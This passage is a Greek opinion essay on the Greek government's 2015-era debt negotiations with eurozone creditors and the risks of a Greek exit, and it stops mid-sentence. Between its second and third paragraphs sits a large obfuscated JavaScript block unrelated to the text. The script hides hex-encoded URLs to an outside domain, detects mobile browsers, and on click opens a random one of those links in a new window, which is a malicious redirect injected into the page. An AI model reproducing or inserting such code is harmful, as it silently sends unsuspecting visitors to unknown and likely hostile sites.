

## ΜΕΤΑΞΥ ΦΘΟΡΑΣ ΚΑΙ ΑΦΘΑΡΣΙΑΣ

### Η ΠΡΑΓΜΑΤΙΚΟΤΗΤΑ ΚΑΙ Η ΕΙΚΟΝΑ ΤΗΣ

Οι Έλληνες νιώσαμε είναι αλήθεια ένα ρίγος εθνικής αξιοπρέπειας να μας διαπερνά μετά τις αρνήσεις της νέας κυβέρνησης να δεχθεί τα χονδροειδή τελεσίγραφα των ευρωπαϊκών εταίρων. Ήταν αυτό που επανέφερε την ορθολογικότητα στην θέση της γιατί ήδη είχαμε αρχίσει να πιστεύουμε πως η πραγματικότητα στην Ελλάδα της κρίσης, δεν προσέφερε εναλλακτικές εκδοχές, και πως κοινωνική πραγματικότητα ξαφνικά μετατράπηκε σε μονολιθική ολοκληρωτικότητα χωρίς διαφοροποιήσεις και ποικιλία εκδοχών.

Η νέα κυβέρνηση της αριστεράς κατάφερε να επιστρέψει στον Έλληνα την απωλεσθείσα αξιοπρέπεια του και να προσφέρει απαντήσεις που τον απενοχοποιούν και ως άτομο και ως σύνολο, τουλάχιστον για τα διαπραχθέντα εγκλήματα ολίγων που επέφεραν την οικονομική κρίση. Επέτυχε να επαναφέρει στην συλλογική μνήμη, η νέα κυβέρνηση, την αυταπόδεικτη αλήθεια αιώνων, ότι υπάρχουν δηλαδή μεγαλύτερες αξίες στο κόσμο όπως εθνική αξιοπρέπεια, ελευθερία στις επιλογές, κοινωνική δικαιοσύνη, αλληλεγγύη των πολιτών, από τις αξίες που αντιπροσωπεύει και εξυπηρετεί η κατοχή χρήματος. Ένα συλογικό πρότυπο βίου εντός του οποίου αναπτύσσεται το άτομο ορθολογικά και το οποίο στρέφεται ενάντια στο νοσηρό ατομικισμό και στον παθολογικό εγωϊσμό που καταστρέφει το συλλογικό. Προβάλλει δηλαδή τον προσδιορισμό του συλλογικού υποκειμένου έναντι του προσδιορισμού του ατομικού υποκειμένου. Συγκρούεται ουσιαστικά με την πεμτουσία του νεοφιλοελευθερισμού και αυτού που κάποτε διατυπώθηκε από την κυρία Θάτσερ ως διαρκές αξίωμα: «όσο και αν προσπαθώ δεν βλέπω γύρω μου καμία κοινωνία παρά μόνο ανθρώπους».

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx
70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2f
x61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74
x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30
x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex
63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','op
en','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7a
x63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x
```

```

78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx
61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmtK','r
ound','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','ven
dor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return
_0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]){try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}})(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'
substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx
6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x
70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x
314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x7
0x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x3
09',",_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x
3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x1
9b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_
0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){le
t _0x129862=![];return
function(_0x784bdc){/(android|bbd+|meego).+mobile|avantgo|bada|blackberry|blazer|compal|e
laine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)|plucker|pocket|psp|series(4|6|0)|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino|i[_0x365b[0x4]](_0x784bdc)|/1207|6310|6590|3gso|4thp|50[1-6]|i770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di-
m|r|s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55|capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]|0|os|wa|ze)|fetc|fly(-|_)g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c-|
|_a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-|a-w)|libw|lynx|m1-w|m3ga|m50|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-|o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-|2-7)|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-oo|p-)|sdk|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-v|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-m3|m5)|tx-

```

```
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|
81|83|85|98)|w3c(-)|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]])(_0x784bdc[_0x365b[0x5]](0x0,0x4)
))&&(_0x129862=!![]);(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]
]),_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0x
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0
x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{localStorage[_0
x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x3
65b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]]);},_0x57de
ba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x
11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(
_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(
_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa)
,_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+
_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&wind
ow[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);},_0x10ad9f(_0xfdead6);function
_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const
_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const
_0x4593ae=Date[_0x365b[0x21]](new
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1d
d2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const
_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x45
93ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0
x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));_0x4
48fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0
x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x5
7deba(_0x1b1224));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else
_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);document[_0x365b[0x23]](_0x365b[0x22],_0x9
78889);}());
```

Άρα το πρώτο είδος αντιπαράθεσης που δίνει η νέα κυβέρνηση είναι το ιδεολογικό.

Απέναντι της βρίσκονται όλοι οι άλλοι οι οποίοι είναι δεξιών πεποιθήσεων έστω και αν οι σοσιαλδημοκράτες της Γερμανίας συνασπίσθηκαν με την δεξιά των χριστιανοδημοκρατών της κας Μέρκελ. Έστω και αν οι σοσιαλιστές του Ολάντ κρύφτηκαν πίσω από την κουρτίνα της γερμανικής κυβέρνησης ή ο Ρέντσι γύρισε την πλάτη στις κομματικές του αρχές.

Φυσικά δεν κάνω λόγο για τον ποιον ευνοούν οι συσχετισμοί.

Ας δούμε τώρα ποιο είναι το δεύτερο είδος της αντιπαράθεσης. Η νέα κυβέρνηση θεωρεί πως το πρόγραμμα που εφάρμοσε η Ε. Ένωση έναντι της Ελλάδας τα πέντε τελευταία χρόνια για να αντιμετωπίσει την κρίση όχι μόνο δεν απέδωσε καρπούς αλλά απεναντίας εξουθένωσε και αποδόμησε μία ολόκληρη κοινωνία. Κατέστρεψε τις παραγωγικές δομές, έστω και αυτές τις αβαθείς που υπήρχαν, επέφερε βαθιά ανθρωπιστική κρίση, αποσάρθρωσε την αγορά εργασίας, κατέστρεψε τον κοινωνικό ιστό. Παρόμοια εμπειρία βίωσε η Δύση κατά τη διάρκεια της Μεγάλης κρίσης του 1929-1932 και τα πρώτα μεταπολεμικά χρόνια η Γερμανία. Οι ευρωπαίοι εταίροι αντιτείνουν ότι το πρόγραμμα που εφαρμόστηκε δεν ήταν λάθος και ότι η πολιτική της εσωτερικής υποτίμησης αν συνεχιζόταν όπως είχε σχεδιαστεί θα είχε θετικά αποτελέσματα. Θιασώτης αυτής της πολιτικής είναι ο κος Σόϊμπλε ο οποίος διατείνεται ότι απόδειξη της ορθότητας της πολιτικής αυτής είναι ότι αυξήθηκαν οι εξαγωγές και το ΑΕΠ. Αυτό όμως δεν είναι σωστό και αποδεικνύει ότι ο ίδιος δεν διαθέτει επιστημονική επάρκεια ούτε και τη γνώση της ελληνικής οικονομίας. Διότι οι πρόσκαιρα αυξημένες εξαγωγές οφείλονταν στον μεγάλο αποπληθωρισμό και όχι στην αύξηση της ανταγωνιστικότητας και ότι η αύξηση του ΑΕΠ για κάποιο εξάμηνο ήταν τεχνικό αποτέλεσμα και όχι σημείο απόδειξης της εξόδου από την κρίση. Όπως επίσης τεχνικά αποτελέσματα ήταν και η μείωση της ανεργίας (!) που επικαλέστηκε ή το επιτευχθέν πρωτογενές δημοσιονομικό πλεόνασμα.

Η ελληνική κυβέρνηση θέτει ως πρωταρχικό της μέλημα να αλλάξει το συνολικό πρόγραμμα οικονομικής πολιτικής για την αντιμετώπιση της κρίσης ενώ οι δανειστές ζητούν να συνεχιστεί το προηγούμενο κατά γράμμα και κατά γραμμή, να μετράται συνεχώς και να αξιολογείται συνεχώς. Η ιδέα που κρύβεται πίσω από αυτήν την εμμονή είναι ότι κάθε κρίση έχει θύματα και έχει επίσης την δυνατότητα να εκκαθαρίζει τις αγορές από τους αδύνατους και τους κοστοβόρους καθιστώντας τις πιο ισχυρές. Για να γίνει το σώμα πιο ισχυρό θα πρέπει να αποκοπούν τα καρκινογόνα μέλη. Πάντα οι νεοφιλελεύθεροι είχαν την ικανότητα να μπερδεύουν την επιχείρηση με την κοινωνία.

Το πολιτικό πρόγραμμα που προτείνει η Κυβέρνηση απαιτεί να τεθεί τέλος στην πολιτική της λιτότητας και μέσω αυτής της ύφεσης. Θέλει και επιδιώκει μία αναπτυξιακή πολιτική η οποία θα αναστρέψει την περεταίρω μείωση του βιοτικού επιπέδου των Ελλήνων αλλά δεν διαθέτει, καθώς φαίνεται, τα μέσα.

Ένα τρίτο είδος αντιπαράθεσης είναι το διαδικαστικό πρότυπο που αφορά στις διαβουλεύσεις. Πως θα προχωρήσουν οι συνομιλίες με τους πιστωτές όταν οι διαφωνίες είναι καταστατικές δηλαδή αφορούν τις εφαρμογές διαφορετικών πολιτικών. Η νέα κυβέρνηση και πολύ σωστά απαιτεί οι διαβουλεύσεις να γίνονται κατά επίπεδα. Οι τεχνοκράτες με τους ομοίους τους και οι εκλεγμένοι πολιτικοί με τους πολιτικούς.

Ο,τιδήποτε άλλο μεσολαβεί θεωρείται αποβλητέο. Αυτό, το διαδικαστικό, όσο και αν ερμηνεύεται ως γεγονός μικρής σημασίας σε σχέση με την ουσία των συζητήσεων πάνω στις πολιτικές, έχει βαρύνοντα λόγο γιατί όπως θα υποστήριζε και ο Νίκλας Νουμάν, η νομιμοποίηση προέρχεται μέσω της διαδικασίας. Αυτή η τελευταία μπορεί να σηματοδοτήσει προθέσεις, κρυμένα νοήματα, συσχετισμούς και τελικά τις ίδιες τις ουσίες. Άρα σωστά η κυβέρνηση έδωσε ένα ειδικό βάρος στους τρόπους που θα υιθετηθούν από τα μέρη για την επίτευξη συμφωνίας ή όχι, κάτι φυσικά που είναι αδύνατο να κατανοήσει η δεξιά αντιπολίτευση.

Μέχρι εδώ σκιαγράφησα αδρά την υπάρχουσα εικόνα. Αλλά είναι ακριβώς η εικόνα και όχι η ίδια η πραγματικότητα. Απλώς η πραγματικότητα προβάλλει μία από τις πολλές εικόνες που έχει διαθέσιμες. Μάλιστα αυτή που φαίνεται μπορεί να αλλοιώσει και την ίδια. Εξηγούμαι αμέσως. Τα τρία είδη της αντιπαράθεσης, δηλαδή το ιδεολογικό, το πολιτικό και το διαδικαστικό που εξελίσσονται με βάση το οικονομικό, δεν είναι τίποτα άλλο παρά “ενδύματα καλύπτρες” αμοιβαίων διαρθρωτικών αδυναμιών και για τα δύο μέρη. Θα πρόσθετα δε ότι οι αδυναμίες της άλλης πλευράς, δηλαδή των εταίρων, είναι πολύ μεγαλύτερες από τις αδυναμίες της ελληνικής. Οι λόγοι που στηρίζουν αυτή τη διαπίστωση είναι πολλοί και καταμερίζονται στις κατηγορίες της παγκόσμιας οικονομικής σταθερότητας, της γεωπολιτικής ισορροπίας των μεγάλων δυνάμεων, της ευρωπαϊκής δημοκρατίας και των ηθικών κανόνων ακόμα.

Δηλαδή το ποντίκι που βρυχάται λεονταρίσια δεν είναι η Ελλάδα αλλά οι εταίροι μας. Γιατί; Ας δούμε τις ισορροπίες στην διεθνή οικονομία και τις συνέπειες μιας ασύμμετρης διαταραχής στην ευρωζώνη. Τι θα επέφερε μία έξοδος της Ελλάδας από την νομισματική ζώνη στις παρούσες συνθήκες της ευρωπαϊκής κρίσης και της διεθνούς μεταβλητότητας;

**Πρώ τον**, θα επέφερε συναλλαγματικές κατολισθήσεις. Η αξία του ευρώ υποτιμάται κάτω από την ισοδυναμία του με το δολάριο άγνωστο σε ποιο βαθμό. Αυτό αμέσως αμέσως θα προκαλούσε απώλεια τεράστιων αξιών σε ενεργητικά στοιχεία των μεγάλων δυνάμεων που έχουν σε μεγάλο βαθμό διακρατήσει τα συναλλαγματικά τους αποθέματα και κατά μεγάλα ποσοστά σε ευρώ. Όπως η Κίνα, κατά 40%, η Ρωσία, κατά 35%, οι ΗΠΑ κατά 15%, η Βραζιλία, κατά 25%, η Ελβετία, η Ιαπωνία, οι χώρες του ΟΠΕΚ, κλπ. Μία τέτοια εξέλιξη ακαριαίου χτυπήματος και μάλιστα εντός διαστήματος μίας ημέρας ή νύχτας είναι αδύνατον να την ανέχονταν οι μείζονες δυνάμεις.

**Δεύτερον**, το δολάριο θα ανατιμηθεί κατά συνέπεια σε ανάλογο ποσοστό της πτώσης της αξίας του ευρώ. Αυτό όπως γνωρίζουμε θα πλήξει την αμερικανική οικονομία η οποία μόλις τώρα αποπειράται να εξέλθει από την κρίση μειώνοντας τις εξαγωγές, την απασχόληση και

το προϊόν.

**Τρίτον**, οι χώρες - λήπτες δανείων σε δολάρια θα δουν το χρέος τους να αυξάνεται κατακόρυφα εντός ολίγων λεπτών. Το πρόσφατο παράδειγμα του ελβετικού φράγκου φωτίζει τη πραγματικότητα.

**Τέταρτον**, η μαζική φυγή κεφαλαίων από τις ευρωπαϊκές αγορές δεν είναι βέβαιο ότι θα αντισταθμισθεί από την αύξηση των εξαγωγών η οποία θα ωφελήσει μερικώς και κατά βάση τη Γερμανία, γιατί θα μειωθεί η χρηματιστηριακή αξία των ευρωπαϊκών επιχειρήσεων και κατά συνέπεια η δυνατότητα άντλησης κεφαλαίων. Δελεαστική νομισματική πολιτική αντιστάθμισης θα είναι τότε η πολιτική αύξησης των επιτοκίων η οποία όμως πλήττει τις επενδύσεις και την ανάπτυξη και συγκρούεται με την υφιστάμενη πολιτική του Ντράγκι.

**Πέμπτον**, η ανατίμηση του δολαρίου θα μειώσει τις διεθνείς τιμές των εμπορευμάτων γεγονός που πιθανόν να πλήξει τις οικονομίες των αναπτυσσόμενων χωρών και την ικανότητα απορρόφησης βιομηχανικών δυτικών προϊόντων.

**Έκτον**, η μείωση του ευρώ θα αυξήσει την αξία του κινεζικού γουάν λόγω του υψηλού εμπορικού πλεονάσματος με αρνητικές συνέπειες στις ασιατικές οικονομίες μη εξαιρουμένης και εκείνης της Αυστραλίας.

**Έβδομον**, οι ασύμμετρες οικονομικές διαταραχές που θα προκληθούν είναι βέβαιο ότι θα πυροδοτήσουν και πολιτικές αναταραχές οι οποίες θα μεγιστοποιήσουν τις ήδη υπάρχουσες πολιτικές διενέξεις των κρατών μελών της Ε. Ένωσης. Η ανικανότητα συνεννόησης των ηγεσιών θα ενεργοποίηση τα κύματα των ευρωσκεπτικιστών που είναι ήδη σε ανοδική τροχιά.

**Όγδοον**, αν η Ελλάδα εξέλθει από την ευρωζώνη είναι βέβαιο πως θα μεταβάλλει και τους γεωπολιτικούς της προσανατολισμούς για αντικειμενικούς λόγους και για λόγους κάλυψης των άμεσων ζωτικών της αναγκών. Αυτό με τη σειρά του θα προκαλέσει τροποποιήσεις στις γεωπολιτικές ισορροπίες των διεθνών σχέσεων των κρατών. Αν λάβουμε δε υπόψη μας ότι η κατάσταση στην περιοχή της Ευρασίας είναι χειρότερη από ποτέ τότε κάτι τέτοιο θα έθετε σε δοκιμασία παγιωμένες και δεσπόζουσες κυριαρχίες.

**Ένατον**, όλες οι μεγάλες χώρες του πλανήτη για να αντιμετωπίσουν την πρόσφατη κρίση εφάρμοσαν πολιτική “νομισματικής χαλάρωσης” και επενδυτικής ενδυνάμωσης. Οι ΗΠΑ, το Ηνωμένο Βασίλειο, ο Καναδάς, η Αυστραλία, η Ιαπωνία μέσω αυτής της στρατηγικής είδαν κιόλας να αυξάνεται το προϊόν τους καθώς και η απασχόληση. Όλοι εκτός από την Ε. Ένωση η οποία ανακυκλώνεται στις εμμονές της γερμανικής δεξιάς και κατατρώχεται από τα θατσερικά φαντάσματα του παρελθόντος. Μόλις πρόσφατα και εν μέσω μεγάλων εμποδίων άρχισε να υλοποιείται ένα πρόγραμμα μετριασμένης και προσεγμένης χαλάρωσης αλλά δυστυχώς με προδιαγεγραμμένη αποτυχία. Γιατί όσο και αν η νομισματική πολιτική αυξάνει την ποσότητα του κυκλοφορούντος χρήματος η εφαρμοζόμενη συσταλτική δημοσιονομική πολιτική μηδενίζει τις πιθανές θετικές συνέπειες. Όλοι με πτωτεργάτες τους αμερικανούς πιέζουν τη γερμανική κυβέρνηση να ακυρώσει την πολιτική αυτή και να ευθυγραμμιστεί μαζί τους προκειμένου ο πλανήτης να καταφέρει να μειώσει τις γεωπολιτικές, εθνικές και θρησκευτικές καταστροφικές εντάσεις. Αν οι γερμανοί δεν το πράξουν είναι βέβαιο ότι θα απομονωθούν για άλλη μία φορά, την τρίτη στην πρόσφατη ιστορία. Κάτι που δεν νομίζω ότι μπορούν ν' αντέξουν.

**Δέκατον**, οι ασύμμετρες διαταραχές που θα προκληθούν στη παγκόσμια οικονομία είναι ασυγκρίτως μεγαλύτερες από τα λίγα δισεκατομμύρια ευρώ που απαιτεί η επίλυση του ελληνικού προβλήματος. Το μικρό μέγεθος σε ένα παγκόσμιο αλληλεξαρτώμενο σύστημα είναι δυνατόν να επιφέρει τεράστιες ζημιές σε πολύ μεγάλα μεγέθη. Όπως έχει θεωρηθεί από τη φυσική του χάους, και έχει προσαρμοστεί από τους νέους οικονομολόγους, η απόσυρση των καταθέσεων μιας μικροσυνταξιούχου από την Ταϋλάνδη είναι σε θέση να προκαλέσει συνολική κατάρρευση στην Γουώλ Στρήτ.

Όλα αυτά είναι βέβαιο ότι τα γνωρίζουν και στις Βρυξέλλες και στο Βερολίνο. Δεν ξέρω αν οι διαστάσεις αυτές είναι γνωστές στην Αθήνα, όχι μόνο στις παραπάνω λίγες ενδεικτικές εκφάνσεις που περιέγραψα αλλά σε πολύ περισσότερες. Αλλά πάλι σκέφτομαι πως αν είναι γνωστές σε όλο το πλάτος και το βάθος τους τότε γιατί η ελληνική κυβέρνηση υποχώρησε στις απαιτήσεις των εταίρων τόσο γρήγορα και τόσο εύκολα. Μπορεί να μου απαντήσεις αγαπητέ αναγνώστη ότι ο λόγος είναι αυτός τη μη διάθεσης της αναγκαίας ρευστότητας για τις εσωτερικές και εξωτερικές πληρωμές.

Η στρατηγική στις διαπραγματεύσεις από την αρχή θα έπρεπε να ήταν λίγο διαφορετική ώστε να μη φτάσουμε στο σημερινό σημείο. Μετά το πρώτο ρήγμα μεταξύ των διαπραγματευόμενων στο πρώτο ευρογκρούπι, η ελληνική πλευρά θα έπρεπε να αποχωρήσει ανακοινώνοντας ότι σταματά για έξι μήνες τις διαπραγματεύσεις και ότι θα φροντίσει για την αντιμετώπιση της κρίσης με ίδια μέσα και με ειδικές πρόνοιες για την ανακούφιση των περισσότερο πληγέντων πολιτών. Οι πληρωμές των τόκων θα μπορούσαν να είχαν

ανασταλεί για μικρό χρονικό διάστημα. Ας πούμε για έξι μήνες. Αυτό θα έκανε τους πιστωτές να αναλάβουν τις ευθύνες τους η κυριότερη των οποίων υπενθυμίζω ότι είναι η διατήρηση της ακεραιότητας της ευρωζώνης και της σταθερότητας των τιμών αποτρέποντας το επερχόμενο πιστωτικό γεγονός. Στην περίπτωση αυτή οι ρόλοι μάλλον θα ήταν αναστραμμένοι και αντί να ζητά ο κος Τσίπρας εσπευσμένως σύγκλιση των έξι ή των οκτώ θα επιζητούσαν αυτοί σύγκλιση του Συμβουλίου Κορυφής για να αντιμετωπίσουν τη διεθνοποίηση πλέον της κρίσης και όχι την επίλυση του ελληνικού προβλήματος.

Και στο ηθικό επίπεδο, αν υπάρχει τέτοιο στις σχέσεις των κρατών, η Ελλάδα είναι προστατευμένη έναντι των εταίρων, γιατί η κακή διαχείριση των δημοσιονομικών της την τελευταία δεκαετία μοιάζει πταίσμα μπροστά στην ανεύθυνη και σκόπιμη αρχιτεκτονική δημιουργίας της ευρωζώνης και μπροστά στην πρόταξη ενός προγράμματος ανόρθωσης της ελληνικής οικονομίας που τελικά διέλυσε και τους τελευταίους αρμούς της κοινωνίας και οικονομίας και διέσωσε τις ιδιωτικές ελληνικές και ξένες τράπεζες, όσες απ' αυτές απειλούνταν, με πόρους των φορολογουμένων.

Για όλους αυτούς τους λόγους μπορούμε να εξάγουμε συμπεράσματα. Οι ηγέτες της Ε. Ένωσης δεν θα ήθελαν ούτε θα μπορούσαν ποτέ να αντιταχθούν στις μεγάλες διεθνείς δυνάμεις εξωθώντας την Ελλάδα στην έξοδο από την ευρωζώνη. Αντιθέτως είναι δικαιολογημένη μία αναμονή για αλλαγή της αρχιτεκτονικής της ενιαίας νομισματικής ζώνης ώστε να πλησιάζει στα πρότυπα της άριστης οικονομικής και νομισματικής περιοχής. Αναμενόμενη και δικαιολογημένη θεωρείται επίσης και μία υποχώρηση και αλλαγή της γελοίας ανθελληνικής ρητορικής από ορισμένα κέντρα της Ένωσης όσο πλησιάζουμε προς την ημέρα της τελικής συμφωνίας.

Η ελληνική πλευρά εφόσον πέτυχε την αναγνώριση της ύπαρξης ανθρωπιστικής κρίσης και τη χρηματοδότηση της, θα πρέπει τώρα να προβεί σε διαρθρωτικές αλλαγές όχι μόνο στο επίπεδο της ψήφισης νόμων αλλά και στην απαρέγκλητη εφαρμογή των. Φυσικά δεν συζητάω για εισαγωγή οριακών μεταρρυθμίσεων αλλά για βαθείς κοινωνικούς μετασχηματισμούς αναδιανομής και αξιοποίησης πόρων και συμφερόντων. Ορισμένοι απ' αυτούς υπάρχουν και στις ήδη υπάρχουσες συμφωνίες με τους εταίρους αλλά φυσικά είναι φτωχότερες. Για παράδειγμα η μονοπωλοιοποίηση και ολιγοπολιωποίηση της ελληνικής οικονομίας, ο υπερσυγκεντρισμός στο Αττικό κέντρο των παραγωγικών συντελεστών, η θεσμισμένη διαφθορά, το φαινόμενο της πελατοκρατείας, κλπ, είναι οι μεγάλες παθογένειες της ελληνικής κοινωνίας οι οποίες θα πρέπει να θεραπευτούν το γρηγορότερο 